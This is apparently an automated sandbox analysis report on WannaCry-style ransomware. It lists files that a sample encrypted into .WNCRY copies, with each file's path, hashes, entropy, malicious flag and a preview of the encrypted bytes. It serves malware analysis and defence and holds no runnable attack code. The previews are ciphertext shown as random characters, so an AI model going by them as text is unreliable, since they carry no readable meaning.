                                                                                                                                                                              Preview:WANACRY!....X....Y.KDG.n...q...9.....-...4.<...gU...... ...5..{..!.~...-U.....M...RrC.}..D..E.....y.C...W~...*.`..T..G..1..x..D.UD5:I.\......,........'.......8..._|)'.?!..b..=.f.z[...U.......0.p.U.....z$...d.&.g.o.-.X..Wixg<..'...9d1..D.N........D................[._z./U,..5..E'J.^.......i.A.b$Na.0..Bh..1.L..7.pA....hL...f..Xq.n.J(............gLg.u....7(..k........i.R.R.w........S.k/.-..9.......+..X..T..p=..znCy.....9n.[..X........a&4@....vnr|.5....U...J;ty../..V.^.....9..op.!"..+.l...v|.B..Q..)N%K.u.8..d........I8.......X;...............n4g..."./...E#6.!...M.-.J..A.Z...Zh.;/D.h..jT..CB..@.e}.`6w...S..9..`).%}.q.0.-K{.o.tjV.!.7[..gL.{H52{.V...rS.../*.3.\.......]."..9......u..*.......>-..b...K;..Dcc.x`?..,...K.a.i+.#...._b..@.:.<[..y..oS.c/.....z...1..B.O]k.O3.........Nm~.X.>......E.3./..3...i.P...I.G.1>....gA[..7<..;..?.3.M.*P.......7.cN.W!...M.5.^Dv.[.#S.IL.8.......;V.....i.f...:.5..;Y.o......S..s.K2...........v..i/.o.H..:^..9...qz3.u*.V

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):130040
                                                                                                                                                                              Entropy (8bit):7.998498149563031
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:SIciItYTMkksfEHxVjnQP6nrY7XCRseEofmiclYTUX:eiPfERVzCyrYWR9EofmzYo
                                                                                                                                                                              MD5:B728BE9156C42B1E85318184A3DCDA31
                                                                                                                                                                              SHA1:AAFF69B05D8AA38258967E93EA7A18228D18143E
                                                                                                                                                                              SHA-256:065BBE601FF34C21A0132B9E11B98714F6C5C686BB97DC572BE3AA89D30BCB81
                                                                                                                                                                              SHA-512:C5BBEC1CA44B8BB6EA48B2D2563F791CFCA11E8A638EA510C93ABB586041C95438D19F6307D793685D545BE1289691C97911D71BDCD0B5959B31FAF33BD2CD4A
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....+..1.....c)..7...X..1...K9=......&P.)...3.........NrE....j..n.Lj........./A...o..O...*b...}O\.".R...a...$B....d........m.9].nR.2s3.wa.X.5Fa....w...X......e".U.X.J._c.I..,/..p.K%..@l_1R|..o....A*.?gO........,....|x..9.....te%....?...%k!..mv.^............&./x..$...D..k.^.D..9.qd..Q,Hn9.[@.+.2.>...]..h...T..g$.Q$..9.P..!.>N.6.......sP....)J..8...... 4dS0.~FI.@0.&..MEL....F..^x...K...". l..4......1......9G....TAb...g.&...Bg...F...1...0.0.....F.+ ..\.A......R.E.......Q.....@3..;.........r.c...3.s...o..$.........@.g..&......y}..d..!.Z...0..P8....8`{d....\.o.2CC-..>.Y.d.|ZM"7(..V..?.Vzr(..w..|.I.1"+..F`Z.......K.....E)9.].,...:..{t3WTP4.q..G..#.2.9r.I..W..\..$.D~.h......30!.....Q.G%.X.f|,W..w.YG......=.FCVwR....E..N..T...lt.D.~.NR.....,.....s..>.<y.T`;.Z.T......S .. .............\...y.S.,..R....B1..73<......8..`.Y6....59.l.|W. r....U&+..ft.}.Y. ....$f..>Qt..qF..m...k....e.}..>d..Dq.N..z.|i...*.y..P..$.`T@...?.9 ....K.......|.a>..x

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):39672
                                                                                                                                                                              Entropy (8bit):7.996259656368414
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:UDy9wwPJt0LTo8dVsdIuXlbW3j6HjeWs8FmI6obS8B2h:GyTxOYEVYbqWd0obv4
                                                                                                                                                                              MD5:2E974B1FF2461DB1D1B9BA2B0590978F
                                                                                                                                                                              SHA1:ABF125CA559F0382F8B969DCBC7FB9150B1043FC
                                                                                                                                                                              SHA-256:90763121A3E630A39D2A69936619F8966064C3E20C5AA1D1ABE6D1113C1B5783
                                                                                                                                                                              SHA-512:7EBBEF556B22D7EEB8F8C3BCFE71525A78CFB56818CDF872224C1E9547FC955C9521218F179669B4FBF1A5B119663E6458B9BE127405BB80DE1DD8281C9F72D7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......0v.|.3.l.W...sq. "R...3d..]..tB|.....#SB.gX...7...?.....Ch.>0...........L...J`..e.....\\" ....1..cm..ud.}D...vo.L..;..Y.J.q..,.m...:.#q0e..ktxA..g.O.O........5.E2.*....=.....A?..|:xk?..]i..%..'Q|t..[..Y..4@Y.a...Hr.a..U.b.,Z.;.'....D-p.f....;...........i..+.....r.r>+q\.6......U.bv...ET..+1.+....e"v)..RO.k......!..]v7..1'..Tp...].;4....S.Ti.iUr.y-t.H.:%........YzL......7.....O,....b..1.eIr.......U%..M...N...p./.....3A..E...|.&b@..Z....(D-..#`]@...9./N<R..;.Kb..fi.i..3A.Z]F..W.../.?.X....._.Kl.<.0J...l..-..P.x.d.;.A....J..[5.m..."..??m.`::...x1....:.d...q.o0....r/...X..........-.a.!....h...~J..S=D.v......(d.Aqo..m.t.6\DY5...f..,....1.L.Fw.A.,%V....M...7..!.=......n1..<.>`.2...a+I}.5..^...J.c..o.I..............nw>.........#K.X..#]r.UZay.-YP...^....|(|P.*...F.A....@?`..,6g=.O.Dn84>.S.'=m#.Y...^.4..D....S..G..G.AJr...%v..!..T.|q...-.z!.."4z..y].. .`.9.0w%...N.Q..A..5P.z.....E.j..&......St@*......<......x...L.X...m8^....-...BM..

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):130040
                                                                                                                                                                              Entropy (8bit):7.9986798024295345
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:98HwqA/ZT3iMkecAq5YZWTdDUlBVNqjc4akwIO1ID41lx0V:lqOmOPGdCzNqRWIODr0V
                                                                                                                                                                              MD5:D26C30A979DAD0E5F6A3CCF8ED107ACC
                                                                                                                                                                              SHA1:023A0FC8786CCFF4A93C16B5EFDBA42A39572409
                                                                                                                                                                              SHA-256:63C59E5990AF80C258FE8FB743BBF1E8895FCDD1FB3E6F7130479E95D3A35FA4
                                                                                                                                                                              SHA-512:3DE8C359ADCA44D0D2C02CC88DD8CFDFBE7E5FF5E71FC77E11724D53F0C71D718D775A625D94E55900AFCB61A90BAC91B770C8E8D9D763332F7736E38473F15E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........9.U*..NO.r..LR.....%pnD%..>........nH.....v.o.U.o|..d.R.i +|.x.=2..o..3....*x6J....e.`..i[......;M.K...Fy...D+>A.Q..8...x..m...|..:|..4?c....J.eY.aC.>.&;.`..z.....~.?...].h..^.....T.}.K...q..Z.........)...ZrFP.e\].g|I.y....%Zl.e.8...#\.Xp.A\.$...............UK..-....#.Y..Yo...L.tr,.K'.].<W..=oY.z..L.....ncx......$p...Gmq..&......T...=.X..p.......X.....+j.n.O..........k...`.j.|.3>..&.......A..+......B..(.=..cIY....g..0..w.'.....W......=S.c.....X...O..m...N..I..QsD..i....E......I..&.^3D_.....L...O.$m.....j?D.7..]....Wf......7.......9Ndo... S.}....k...{]s.bU......(..r..7..#.Tl.aU.>...}N..S.0q$.|.8.......O.....y.`.;...:..,ko.....F..kq...Ww2#(.....75m...9.+..&2..Ql)E....v....JC...Z>a..Q$...#=...^..<D..5........y.....7....zt..+$.@X#:...g..~......!h-....8...0...-.....?.O..&2..Fv....nnh.=36{...P..D[T..Q..........h..{..OW..t.;...D...Z^^..@.Z...G........0...v.B.hl.y..}..X+r...Q.w.......Td.~.nC.V._d.m..p,i.h.1.=5).x..j..z.N<4H.&`/.b.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):29160
                                                                                                                                                                              Entropy (8bit):7.993822885639333
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:0R07dC+KLNi+uF1PsbxkpqgoeEojvaIbjS7:0RCKhY1PsbxujuCaYj6
                                                                                                                                                                              MD5:7F7AB3C00C2B42E9EB421BED9F20B7D2
                                                                                                                                                                              SHA1:A1F649E7F60DFE852CC5C7C1104005B8F4D4B41B
                                                                                                                                                                              SHA-256:26F3191FA2C9ACE89444AFE389EA2A82D0E4C3F8BC33C2809B6CD6318BADFDD3
                                                                                                                                                                              SHA-512:05324613E926D675B0E3638436B9605415969F49FD9A7ABB8D1306AC5889A26C2FB34FA64FC54C011B24BD8AFFC0703B7BF536B939BA11B2D94B2A771548ABD2
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......0U..h...$._!.O....MU.AnY..@d.......%J.+:H...Cy..7._.[.R.V...-.T..7|.Pvo....\.-.o '..i....V.\*.,5H.G.......$......U..J...#N....ek.x.C@..%LO...2...`~#..J.N5.......c....ty.......#..&.;C$F.$...........dR;.V.{..c_.5.j..@G..A......1.n8......{......p.......iW..t0u..!\..1%S..wk.....o.Py.KK{b...w}..........e..D..;90..o..D...]'Z...E..:.r.........9K......i+...q....v...7>.................+..`.uR...m...|t^.Yv.5W7%.O. .?.+-....i.J2...5W.._...S..S.N".iA.....s25.;.v3J...........gD 9..26........M.Gk..-..9..dl-~......H..6..$4otm.I.;q..........U7..#].....'.......#T6Q......[........"..X...[.I..Y.......J..I-.;.3.Y.m..."..,.O!.ue...(.=.|,.U^~...B..e.R.P/]R...a.Z2..a...M6%..,1'v.1D.1/..oX..>D.....1...}.".m...a..*W4t...H...1.=...E.34.c...j..^"q...7.R.t.L..............Q....V....CqX......b.n..N/XIf1n.."..w'....,..'.ga....S...\.Y5<:.0aY....$..M.O-[.........g..9 .(gSo.A>9.Y.MW.Y...Z.....-O1.....0.q.ly...ZPv.G* ..t$.T..I..).O.$.b{....-./......].

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\mpcache-0488A702D8A6400042FFB1D7ADF4EEF36AD772FD.bin.DB.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1670040
                                                                                                                                                                              Entropy (8bit):7.999884496788857
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:dWA8PBb7ygpWXINIHrNv1YHq/AuSbwTjvX:dWAwp7ygpWY0673cvX
                                                                                                                                                                              MD5:5C0546C682C97EE7FD6310561A2E29CE
                                                                                                                                                                              SHA1:86C46D1871C8EA5A95D0CDF91CBA2C4E7DC490DD
                                                                                                                                                                              SHA-256:7EB52CAACB4E93A232DC64DFEC3D5F648E96D8EBC51C89D6C44AB7EB80F967BD
                                                                                                                                                                              SHA-512:7D41039A20F6EA36E6855A0CEA5EA2A387103A542D3846B42503BA96584CFAA63C1C74A7DDFF0410F963DDFB96445F7323CEAC86AB6D8C8483F5E1837D251F7B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....,.."Ia.......`d.....JozC......MXk....Q)&..."3......K..)...."8..O(.u..f..34...#.n...*.......uV..].?.K`.pH..y.L....`.V.W4r....._../...{..f0U.4U.4.}8.1.{.-._d\u...&F.. o...do`.......{.......t....u...w.-.]...6.b.y}3..o....a.....9.5.@..?T{VW9z......uz.......W ...6.t..O..6.,...d...]y.L....2aa.......O.9*H7.-.8..ey...^....AQI...qSj..F....O..x<.U.....|.Z.<T.&"j.-EH_...h....F\.X$A.J.{.<Og....N.^5..\...ZL.5..[..V..o.K.SC..U.!KR...G..ck........._.S.ob..5...4.N..>fh.....'....`K.4^..V..[H%......R~.4.'..APZ...{....\..-..n0.t`.....(.:....e...7..M{hkjjY\x"...2.{w....W".[..]....mQ ,........n.+....T&....*..........bJ....AW..[..y=..<]....jHM.u..>.Vi.(.....;...%....ctB5_...o.^*R....SSSZE...g.8...\.Q...A.....W.......lC}..6..@.M............t...IN.........Zh...m..*......w.xY`<?..]\bUo.d.b..It.xd....(e.........5...(.(....rcoE..E...1a.'..Br5..P:..s.<'...e....Y.&.^.`....K.....~..`...BTE...(....(.#..E}.0.....:72D...k.}2x^N.#...t..8.>.EEy.#./.,.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000002.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.860282969094477
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkQ54+xhXHQY9pZd3UoNsl4DgH4zvvpdHbNcdm4XEv2CX+PM5eZ96Ihm63Ebe7VA:bkQm8h3QYZd3U0slCy4bR3sm4XEvL+PU
                                                                                                                                                                              MD5:FC0963B04A02C547555960A50FFA599F
                                                                                                                                                                              SHA1:4D8ACF1581310B095849B5D1B72DFD4B113141FF
                                                                                                                                                                              SHA-256:0CFAB04296BEB97DC175A4F075DF6D353EE95EFE61E38143256CC4CAF1290F90
                                                                                                                                                                              SHA-512:DC887EA47CCB8B9E850D17B1813BA39E3A5C66CD358E0BFD9082A154830FC3D9D1DDAF6D27EB842634A4F1220A78170E04D1518792B1460738DDABB1088AACA9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........5-.K.`3..H.....e8.yg.Ni[.G...."u*7...#..^.P.>.%g.xn.E..."=.wn........gBQ..e....z..v._....g.H.8.:.f.S."........y=.'.xg...H............V.fMI..l......}..........ZK>.%.._...2.%.9.I...&.$...i..I.i`.r.A.I..jw...G).H......|.9,.Y.L5.Y ]S...G.. ..7............."6.TP..y.B...E..|. s.I.he.;j..U.RZx...k.n.....B...x.....{.R.A..U...e..K....jZ.-...<J!...|..~..bh|.8.R#..h.....#mV0....[7M...h0W^..z)"@.....?..,e..,...ITSX....l.[.YW.\.$BO..'H..b.N...a.E.5D..............i..].-..#..D.....y....P.l4..S8.....|..8n;..O.n....;@....A..z.c<.....9<.j....d..E.$..w..8f.O......J1LZ...H.W..H.cP.>N].|.-..wT....r.._.......^.....)j..B~k.=.Q.2....g.yg.m.?Vvg..y.T4...:d.g..ZS.....2..Q5\.]4v....<...x.N2..k..qhE.a...I.{"8.=..%4:".~0..8...@m(...g3..$.......gS....V...u....^U.E..`......_.v...:....^LP...:..C.L..>.5..s]3..........s.J...&./..._9..B..%....l.j.%s......$d,..tmq.9V..V..$....tU$<vh.M...LH....o......M....!V.!T2....q.Gj#..w.....x.0x..nw.T...%.[..O>4#.........

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{29E56104-0FF4-4610-AFFF-60C8A9578E5E}.2.ver0x0000000000000003.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.879227016429219
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkqdau0ei6EsJ+OpX/SKDzNhqxN/vmzui50FjuAhNZTjM1rVCyGJohn7ok:bkBucwzJ/SK7qvEPVAhb8xktJoh7ok
                                                                                                                                                                              MD5:D0EC0A96E0FDD73627CC891226000350
                                                                                                                                                                              SHA1:3CD4AFDFC32BEBF2F6195E759BA4E3A2FDED3403
                                                                                                                                                                              SHA-256:630ACCA4366367844C13DD139B2A984F187CF85859B4BE12857294B29C42797A
                                                                                                                                                                              SHA-512:F0AC7567F82167AEC796C5FD4EBB68A554D2FF41C41FF8B0A24B0D4F2DF8D954DD6981C6CE75D542113C953F1B0127DC744D063388294F7FE1229B1002D63693
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......qUN..A....QlTK..e. MU...b.;...75.H.D~.j..G..',R.'.K.H..8.QJL..<B|\V._.iq\......0.......G.9..K..1./9.....):.6...W....?!......n....H...M...a...F...k.sq.........Jv..N...#Gz-.+.....O..G>E.S..*.....6..........f.).F..^.`.F..@..o!}.....zH...P.....................9K.,DS....L..+-..m=....I@sqyn2.J..w..^.....fJ.....!....-..K.Z&..J....V.&4Z. n?\..T..jr..c......u....b...d..-..V.m......7o|.b..<........@...]J5....4.zu....E..*.....ujY.........&......'..t..Z8c.....w&I?......UY\<..v.Z...B.g~.."...}...@....x'......z[_......{6.............&*.Y..v.@c.P..g'(&.a5..!g.8D(|.....].7.&.,Wbq.9..~.C.Q..{....H~).l..N..;........D.#....DCZ..C5......@....)N..f/....\.......)....UN.S%..-...Y.[.<..;P...=.o.6.....C..q|k....m.....W]L..7...|.('.pJ......r....*{P.~T.pj. C...`B..|.Sa....f...@.sb...av......<....A....e..{[...%.?.#...M.O....{'.T'H(...!.$3.\.h..F.....M.I!M..J.....I.........-...%CG..m...<..:.m&....Ex.n..l......}15.jHO..:<..;.OS......&..

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000002.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.850519503745943
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkQda6VPgGRyubIdPDpNwRggOsvn/kpiQyr8AbfIUqVxj/mJwjyq:bkQdMUX4PPkPOsvn/yyr3mBIw3
                                                                                                                                                                              MD5:8EE1845B64EA61F4E7469BF9AE08213B
                                                                                                                                                                              SHA1:D5C9C171E310852EE2838D55C6577B5C4BB01745
                                                                                                                                                                              SHA-256:D854C64A5ABDFAE275306248B001E5ABB71161BA6082451D9411FBFE1E512C32
                                                                                                                                                                              SHA-512:CFCFD4C1DAA84E5DF8CC9342871C715AA5E29D014944E45BE25F8BC7C1FD6F8DF1029EE791BE57ABA5EF8D5335BA943B5F5076BE318EF1EBC85211A4122FB745
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....6.4.....|..C...9v.e.|.|....W...\..=..q...S.A...F.!...*...........<...:....|9.&.4m.).`.Bw..waN.a.RI..?.EP...@q.u...*.])...>..8Ff...$.Q.b../.....} T....wr.b.......@.:....?.C[s..K.....&..~;..............!..iO...t0.......5.c.......D7*.K........(........%e.q-...s1...C@*.{.x.P.-.b.m0FpC..f.EhA.y<J..\..^o.HfJ.....kR......C`.......).3@..Z.D....i...O..D}O...z.._........hoP;..^o.....Q.i<"..}.roC.X6.=.@...ISeT.m1V.............a-.+....H:....&...h...3u....4..b..%........t.#..K....#.. .dAx...~......?..[q..{d...M#P.+..D&..g...k.b.L.j.wE.=8. ..}.i+9..>......v.An,...:.@..eyE........x....}*~..R.bO$W.._.]{.$.3......g.l.Y.E...S.7..&f.Dy..+...]_;N\).FoQ..hjS}2..3p..C.....n.s.V.~..6.........&&^.....~..p.z.'q.:..H.w....[..92Ol..u>*h.....&...C...K.[H3...."....>....1/.!Q....~.4.HHLT;4,..2PH..P/..w....f/.5..W9M...^...}.o..!<..En.T...%..\.M........m...M......}......=.0W1..7.U...{....C....;.s.Z...+_.*.]....4.6.....*...Z..W..6.m2.L...U..Nn....XN..a.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{46350403-22B3-49CD-8D95-DF6B4AB3D858}.2.ver0x0000000000000003.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.834258383719284
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkKVYcU4tQqsGMHJDTpJo39KFXl4sR4HL82HrR5nYJ2VRQyMYP5vq44Y/2AGrqPs:bkrcz4Dg3QIi4rHN5nYoQyJPdl4aJG2U
                                                                                                                                                                              MD5:1D8A4261AB04F6804CA451ABBBC5B4FB
                                                                                                                                                                              SHA1:DC8A1AAA9302222A6377F2067FD879FD8C9ABD84
                                                                                                                                                                              SHA-256:1BDFDFD98D883B9AD3AC302C3F99854D3FD6BD09226D8548065DFB4911721C05
                                                                                                                                                                              SHA-512:6437F8CFADEDECC25A065B7801CF7DBB5B7820E21D45B8238316124A880D1BDE210555CD4578A360965D1172A8F14FAE99A09F8C02C3D8C84848840D75440897
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....._kD.{5....2q..ut...W.<d.r}.....gP..h....}.n..w.6.th.6kTN%......j......JZ..bVi...z...z.%....f.X.........)......k.I..u.j5y X..7>....".B..W.g...wnF...........&...}. "S.NP.H.a.i..t9..4....9.~..s?W....D+.../.&C]...P....NW....4.8.q...1=...%5[........(.........X8..p.ib......,.jR.._.....W..7;..UA&..:.3WB.-.....WG...r.....l.C......~+u....g.........I..FS..QL.?U..jN3b..H..n..h...{O.2p...z...`i...%[y....0......06.y/?B..~R)....)........1.1.. ..\.V.d.0v..K.IgIO...C4!.S....S..L#.y4.O.X).#.?.VRgA...fU..w...j4A{...-qqkTk...~.....1q.7...%..}$...&.]..'...T....|.O...\f9..?.T....!..=.*q./..i...KF........q..R..._.../&...S.._..W..=....|........?/.FJ,/b...F.G|". ....n..l!..:.T7.ol.G.1YUej.,..;)A.g..........Zq...S.in/..R3....;.H...v.. ...vGCl.O ...\. ./....7...x|..c..I....66.y...'.-.(.h,b.<.....n%.$....u.8f6..'..n...?/.6.+M.xT...%Z....~f..H.U"H..:....,s..~]..'.].\......XJ3.w.tm...g...LCZ.Gk@=..b...sY. ...O....t..8.,..L..Ug..7'>x...4..[..eTL.....K.B..> ......

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):297144
                                                                                                                                                                              Entropy (8bit):7.999366095499318
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:Y9miGcVfXe1G7sh6m9S++UamLa2gnfxCk+IZlumFc0ntq9HWn8Hwz9kfOVPDd6+m:YEiQTsOS9lBfo6juxmGWn8HUMOVrd7CH
                                                                                                                                                                              MD5:443D501C070E4AEA363C284367A40FF3
                                                                                                                                                                              SHA1:1238A2B6A643C18B0096121FD5192ABF907E83A6
                                                                                                                                                                              SHA-256:870EAB939D9F777505AC9B257AD0F4D4758B50F899B4D8567A2E6BDCED8CFC20
                                                                                                                                                                              SHA-512:B71744375034A52AA6284EF21B353DC34E08B69FD530C68BE2C12D91D602CE65C59D89A7C2DF690C3205C3256855A751A933DD6AECCF650C36283E6B2A560F34
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....s.E..U....B.y<....z/B.&...@..,......|W...E9l.r0.*.t..50.6>.>T..,.I'..Vc.k~.......Td.*f6.*dKH....r_..kvw\..C.p....T.~.D.....;.=..}E`Q....f0,J..1.C.l<sLL....a.)........"..x../.....Q.@..X."....u...?.R..3..x{$p..~".7..2L......i.CG<..1`......M...m.................a9om.>..$....;...Y....g.....T%.b.A...\`....e......k.b.d.$%u\.....P..NS..w...\.Y.G4x.a..NskK.TP...P....y+...._..8.[.M.....-6..ry!_.%.t....5.......xM...JR.II...R...=.HA<..i.5... .l....go.T..."\...mm;..p...Fz......{.lO..l.ZN.w:$.d.Pt...h).&).aOk...Q.F.Z..(.g.?.Y..-......X..\...m1...uu.@.X.7.u..........yG.m..-.<.w..!HO..7.K.{C..?.i..Q.y..n.1...ls..J@cK..+~v.h._.V6.,...F.!.....e...{.-..0H..3W....BP.+..l....< .k..V..|Zhs....r.[.i...lK.F...'..J/.O[.]...F..0R.^r..........46.... .?c......]..n%.Y."..[7.6..ua.....y.....Y..%.`;g.K.....?...X...7.,......z.Y..w..+[.(*[.^.5X..P9..]@..^...... ...p.:..........V.......j..u..0|....Co...;m...^.r.w....I".Xp.H....qs....t...MU&.(...8..O....0.K.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):297144
                                                                                                                                                                              Entropy (8bit):7.999303893970602
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:530P4ka6ZBcUVXAzycU1YVCZDHn0tcPjy1t3PU+TxHZMwA4BWbHh:h0P4ERzcpGDUt8jy1t7T1Zlwh
                                                                                                                                                                              MD5:04D302C84D0ADBB3C79012EFC373EF1C
                                                                                                                                                                              SHA1:FD7DAA8F2F1734416B7D4D08F7D6915E9A2DC9A8
                                                                                                                                                                              SHA-256:5C87E9D7C2581C8EA12EF02A46146AB34548B6AA0AAC975903C173E386FB6BD0
                                                                                                                                                                              SHA-512:F1EF4F39D036AAE570230DAE5EFB96AFACAAEFFA1BD4CB54EDCAB51480FA02299C9542C53B88C14C4BD1DBDD6D830CC0DE555780FD604C6C1C0FEAFAA5195E11
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....9.=..I.f.O+..q....v...R.s..............=...^.S.D.<.`....3N...4d......&...4....V.3.?M.M...]9]..z...+x..........o..p.}..s.N.f!>9..._>.......=..,.W.../....6.K...W..~.....c..C....A.M.....g...;.....YW.`.~.opQ...e.r.Gl..P.Q..YQy.../)0..........J.b.S..............q....iP1g.f0....J.M..A.F(8.-,{.^&..p...'H..p.R.....y".$.IO...i.c.Y....iUB..6.,S....w|...../..._[Z...9..p.W....Xe...<.Le&eO.(..,l#.....e.?..M|...&./tk.....x...Xi~...VUk.....+....I..R..."..v.p..g.>.o.^j..(....(&.j....=.....(5.E.G].exBl..(..E....o....O....X.A.........@#.z..`!N{.+e..h..>...@/.m)*P...>\.,pm.'U.u|.....9.YO.Gd..1>.DG.`.d.m.o..h2F$.6.....SE.m}C..^HG.<XeS..v.....\..[H......Q..E....`N.....L.^.b.dh....W_....x.lH.8.@+.E>...?....s.9..{....0...\.9.....8....Yl.y.....U.....F.&'!.|...zs..z....svNN6U..M.e..zg..],..f.).I.ySf.z...x.X.....0...7.f..-...Y.t3..?..."......s9rMR'60`$.s..gm.,.b.j..1...F.c....u..3F,..G...|..BDE..._..w...8..G..$.3/.....j...IV~.....v..:....H.rW.LR...c6G.%p...)=.*.d

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRY (copy)

